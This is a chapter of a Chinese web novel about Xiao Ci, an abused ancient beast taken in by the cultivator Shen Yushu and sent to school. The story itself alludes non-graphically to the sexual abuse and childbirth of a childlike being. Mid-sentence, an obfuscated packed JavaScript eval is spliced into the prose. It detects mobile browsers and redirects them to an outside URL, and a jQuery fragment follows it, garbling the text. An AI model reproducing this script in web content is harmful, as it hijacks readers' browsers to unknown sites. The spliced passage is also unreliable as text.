小慈一动浑身都痛,头像被灌了水般沉,额上热乎乎地,火烧似的,微张嘴,呆滞地微眯着眼望向榻旁两人。
“它只是产后没坐好,伤到了里子。”宋鹊说。
“产后?”
“是,肚子虽然还未完全消下,但□□撕裂痕迹明显,许是不久前生育过。”
“它年纪看起来才十三、四岁。”沈禹疏有些不忍道。
“恶徒不会因为年纪小就会放过它。”宋鹊平静道,目光却带了些不忍。
“何况它非猫妖。”
“看起来像,但它雌雄同体,应该是书上有记载过的类。”
“上古异兽?”
“正是。”
“不是很早就被灭族了吗?”
“谁知道。”
“看它这幅模样,估计过得也不怎么好。”
宋鹊拿起小慈的手,上下摆动了一下,又拿起另一只重复,叹气道,“经脉位置都变了,手腕被强行脱臼过。”
接着又想去验一下它的脚。
“类这种上古异兽,妖力低又对修炼有奇效,若是被那些不走正道的仙人修士捉到,多半也是这种下场。”
宋鹊说的,沈禹疏也清楚,脸色凝重地望着榻上那张宛若死灰的脸。
“将它带回沈都罢。”下了决定般说。
“它脸上胎记有些化不去,认识类特征的人一眼就看出来。”宋鹊又道,对着榻上的妖,神色怜悯。
“无事。”沈禹疏望着小慈。
“我有法子。”
小慈心思敏锐,被那样的眼神看着,如岩浆的脑子昏沉沉地,心里也止不住发苦水。
小慈也不知自己昏睡了多久,醒来它就看见那位穿白衣的修士换了一套干净的黑袍常服,在它床侧给他喂水。
小木勺润湿它的唇瓣,慢慢流进去。
是很仔细的喂法。
小慈一语不发,而沈禹疏亦是安安静静喂。
良久,小慈才问,“你为什么救我?”
太久没说话,声音沙哑地像是被刀割过。
“你不该被打死。”沈禹疏道。
“原来你们人也有讲道理的。”小慈有些心酸地道。
“你是类,不是野猫吧。”
小慈也没有隐瞒,他看起来应该是什么大都的人物,又有修为,应该是知道的。
“是的,我是类。”
“怎么,你要把我拿去炼丹炉炼了?”炼丹炉就是死蚊子经常威胁小慈时说的。
“不。”沈禹疏认真地回答小慈,目光柔和。
小慈若有所思地望着他的眼睛,听他说话。
“类是罕见的上古异兽,现如今在外面十分不安全,我是想问你,要不要跟我回沈都,我可替你掩盖脸上的胎记,让人和妖都无法辨别出你是类妖。”
要带它回去,小慈心里还是有些警惕。
它有过被那死蚊子带到一个地方住过一段时间,某一天突然那死蚊子精就过来弄它。
谁说得清楚现在的人以后会不会出尔反尔,也是变相的囚禁。
就算他救了它,但是长久的经历还是告诉小慈,不能轻信人类。小慈历经这几遭,如今只想回到箕尾山,自己的老窝里好好躲起来,从此和竹妖一般避世而居算了。
但若是此刻直接了当坦明自己不会留下,那人说不定会使什么计让它断个手,断个脚。
小慈不是没见过,它现在的手还不能像从前那般灵活大劲。
“嗯,谢谢郎君。”小慈虚弱道。
待伤好全,它小慈自会偷偷溜走,他若是善人,自不会追究与追捕阻拦。
“你叫什么名字?”沈禹疏问。
“小慈。”小慈答道,看着沈禹疏平静地,除了对自己有怜悯、可怜似乎别无他想的眸子,小慈闷闷地问,
“那你呢?”
“沈禹疏。”
“沈玉书,美玉的玉,书本的书吗?”小慈只认识一些寻常的字,又气虚,问出这句话都颇费心力。
“不是,禹是大禹的禹,疏是疏通的疏。”
小慈还是懵懵地,它自然没听说过人类大禹治水的典故。
苍白着脸,捂着唇轻勾了一下,道,“我都不认识这些字。说了也听不懂。”
“无碍。”沈禹疏柔声道,眼里也没什么波澜,但小慈极擅看眼色,看到了他眼里有对自己的包容。
“那你的慈是那个慈?”沈禹疏问。
“慈悲的慈。”小慈难得有些羞愧,它其实是个干过很多坏事的妖精。
“那你年方几何了?”沈禹疏问小慈。
小慈望着他平静如水的眼睛,浅色的眼珠,光明磊落,似乎不掺世俗人类那些污浊,似乎真的是个好人。
小慈实话实说,“十六、十七了罢。”小慈不计算这些,被关的时间久了,也渐渐忘了日子。
沈禹疏有些讶然,望着小慈单薄得跟张纸一样的身体,个子瘦小,这么久了唇色依旧苍白,有些不相信道,“你看起来要小许多。”
小慈知它化人形后生得不高,瘦小得不像个成人,这样的话,不知怎的,从风光霁月的沈禹疏嘴里的出来,格外让小慈介意。
小慈向来不自信自己的模样,将被衾盖过自己的身体,轻轻地嗯了一声。
当天夜里,沈禹疏就带了小慈回沈都王城——岳阳城。
岳阳城是沈都最繁华的都市,各种灵药补丹也多。
一月后,小慈就伤好了许多。最开始宋鹊几乎每日过来替小慈把脉,药伴着一日三餐准时送入胃,到后面半旬过来瞧一次,每天晚上轻水准时送来的药汤,小慈的身体几乎以生骨催肉的速度快速恢复。
小慈的手腕也在宋鹊的针灸下日渐恢复。
一开始伤最重的时候,小慈几乎天天都可以看见沈禹疏。
什么人好,什么人坏,小慈其实说不太清楚。
但小慈就是不想离开了。
死蚊子就是在箕尾山附近的村庄里捉到它的,万一回去了,要被它发现了,指不定会不会被打死,推入丹炉里炼了。
还是谨慎为妙。
小慈经那一遭,真的害怕了,既然沈禹疏有能力保护它,小慈也惜命,自然也想要留下。
何况他还对它有恩。
小慈对人族虽讨厌,但经过这些年来的遭遇也渐渐明白了,人有好坏之分,妖亦有好坏之分,不可以一概全。
小慈承认过去的自己偏激了,也暗自庆幸自己没能力杀人,否则便成了像是死蚊子那般的恶毒玩意。
小慈睡了好久,近来才慢慢下地。
总待在屋子里也闷得妖发慌,小慈扶着拐杖走出门,见到门边上有一圆木凳,便拿了出来,放到门边,佝着腰像个年迈的老人似的坐在上面,对着院子和天空观望,发长长的呆。
沈禹疏回来时便看见了这样的小慈。
明明才十多岁的年纪,却一副失去所有风华与活力的白首相,门边拄着木头拐杖,木凳子很矮,小慈背靠在身后的墙壁上,午后的阳光撒在它的发丝上,却让人感受不到半丝温暖。
沈禹疏想到宋鹊对小慈病情的判定,心里蓦地被扎了一下。
两手腕腕骨强行脱臼,产后破裂,腿骨被殴打断裂,失血过多,脖子和腿根深深浅浅、数不清的疤痕。
“小慈。”沈禹疏轻声唤它。
“嗯。”小慈也望向他。
“你回来了呀。”
沈禹疏轻嗯了一声。
“怎么今日出来了?”
“在里头呆久了,很闷。”
“嗯。”
“若是风大了一定要回去,宋鹊说过你不能再受风了。”
小慈轻点点头。
沈禹疏看它乖巧懂事,年纪又小,便不由心生怜爱。
“这三个月都得好好养起来,若是闷了,下回我带些书给你看,可好?”
养伤没什么地方可去,也只能看些这些了,小慈想了想,应承下来。
“好,谢谢你。”
“我不认字,只能看些带画的本子。”小慈说。
“行,那我便给你带些启蒙看的图册子。”
“走了,过不久就天晚了,风也凉。”沈禹疏走到小慈的身旁,准备搀扶它回去。
小慈让他搀扶着自己,一手拿过自己的拐杖,腿脚被书塾里的修士打折过,骨头伤了,轻易好不了,走起来也不利索,软趴趴地。
沈禹疏带小慈回到榻上。
小慈侧目便可看着沈禹疏在屋里四处倒腾,给它添水,收拾整理东西,扫洗桌面地板。
小慈是个连很少善意都会记得很久的妖,因为遭受过的恶意太多,所以一点好意都能显得弥足珍贵。而沈禹疏对它更是不止一点,恩意深重,救命之恩,就算要它小慈死,小慈也愿意。
既然要长居于此,待以后伤愈,它便好好报答恩人。
半年后,小慈伤好了许多,脸上也有了一些肉。
沈禹疏知它一直居于山野,未经教化。便起了将它带到寻墨山下与其余修士一起念书习术的想法。
既有夫子看着,又有人可作伴,日子总不会像在这一直待着无趣。
————————
一日,小慈在海棠花下折花枝,有一枝开得极繁茂,小慈个子不够,一直在树下扑腾。
沈禹疏走到它身旁,替它折了下来,递给小慈。
见面多了,自然熟悉起来。
小慈看见了沈禹疏便十分高兴,黑色的眼瞳里闪闪地,眼睫弯弯,洋溢出狡黠的笑意,伸手从沈禹疏手里接过粉枝。
“谢谢你。”声调控制不住地微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505867|170474||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
微上扬,透着轻快。
“不客气。”
沈禹疏摸过其根骨,比寻常修士还要更佳一些,内丹似乎天生强大一些。
“小慈,伤好许多了以后便去寻墨山下读书可好?”
小慈望着他骨节分明的手掌,很大,有一种想牵着的冲动。
小慈仰头作天真状问,“去寻墨山下读书?”
“是要离开你这里去那个地方住吗?”
小慈不想离开他,它还想要报答他。
沈禹疏以为它理解成了他要赶它出去,解释道,“不是,寻墨山离这不远,只是白日去那里上几堂课。”
小慈心安了安。
想着沈禹疏应该是觉得它读书太少了,和死蚊子一样觉得它没什么教养,只是不同于死鬼蚊子,沈禹疏的用意是为小慈好的。
小慈点点头,理解他的好意,开心地应承了下来。
沈禹疏给了小慈一份宣纸,上面有一些一行行的字,需要小慈按照字的意思去填完它。
小慈稀里哗啦地填完,沈禹疏拿起望了几眼。
隔日便带了一个新的铁饭盒给小慈,嘱托它中午用饭去食肆里用这个来盛,然后带着身长五尺多的小慈一边认路,一边叮嘱,将妖带到了一群九、十岁小孩子扎堆的学堂里。
小慈早前羡慕在书塾读书的学童,现如今自己去了更大的书院,上了几天学,体验了一番天天早起念书后,便很快闷闷不乐起来。
和自己消遣玩乐的看画本不同,它们读的书就只是书,通是教一些字,或者夫子讲一些大道理,迂腐又古板,小慈生性散漫惯了,上了几天就旷了。
术法课还好一些,小慈去听了听,上手试了试,很快就学会,于是通常是上半节睡半节。
沈禹疏送它去的学舍都是九、十年岁的稚子,而小慈虽字不比他们认的多,但年纪过了今年也十七了。
那些小孩喧嚷起来,吵得小慈脑瓜子哇哇叫。
小慈下学以后住的地方依然是沈禹疏的院子。
学堂里的小修士最开始问小慈来自何处,小慈不知怎么回答,随便编了个萝卜村。
“没听说过。”
“萝卜村?在哪的?”
小慈脑子里没有那些国镇家的概念,不懂他还在问什么?它不是都说是萝卜村了吗?
“就在沈都啊。”小慈低着头道。
“废话,我们都是来自沈都的。我是问你那个郡的。”
小慈懂个屁,在同学好奇的眼神下支支吾吾了好久。
“我...不知道。”
没有得到答复,夫子又来了,围在新同学的人都不欢而散。
“那人蠢成这样子,看着呆就算了,还不知道自己家在什么郡,只知道萝卜村,萝卜村,个土鳖。”那人做个鬼脸。
“呵呵呵呵呵。”周围人闻言笑作一团。
“你看它比我们高这么多,字都不识得几个,术法课也是睡觉,也不会和人说话,兴许是那里有问题的。”对面的人一边说一边指着脑袋。
“对,对,还总是用手挡着脸,以为自己有多好看吗。丑人多作怪。”
小慈在墙后面,三瓣类猫唇紧紧抿着。
若是以前,小慈定然要报复回去,但现在小慈心里有在乎的人了,知道了这样做、沈禹疏肯定会为它感到为难。
下学后,小慈拿了几册夫子交代明天要检查的册子装进布兜里。
小慈住在沈禹疏的院子里的旁舍里,正舍是沈禹疏住的。
沈禹疏似乎是沈都的大当家的长子,小慈在学堂里听到那些修士说闲话的时候,提到过沈禹疏,便特意仔细听了听。
寻墨书院离沈禹疏的院子有点距离,小慈走了大约一刻钟才回到,气喘吁吁地四处环顾了一圈,看到没有想见的人的痕迹,小慈有些遗憾,叹了叹气,回房喝了口水。
沈禹疏在学院里的名声也很好。小慈有耳闻。女修上下学时,成群结队时嬉笑玩闹有时会红着脸喊沈禹疏的名字,小慈也在告示石上见到名列前茅的人里,都会有沈禹疏的名字。
“沈禹疏,剑道魁首。”小慈呢喃念道。
这是它去石下看榜单的时候,偶然间听见女修说的。
小慈那时读了些书,习了些字,在书册子上见过剑道二字,虽然魁首不认识,但也大概猜到是第一的意思。
毕竟石头上,剑道二字下面镌刻的第一个名字就是沈禹疏的名字。
就算在学堂里的许多学子都不喜欢小慈,并且因为小慈最开始的许多行为而心生厌恶,时常在背后说它的坏话。
但这些在如今的小慈面前看来都不算什么。
小慈前十几年遭受的恶意实在太多了,到了这个被王城处处保护着的寻墨书院,宛如到了世外桃源般,就算有恶意,不过都是些小打小闹。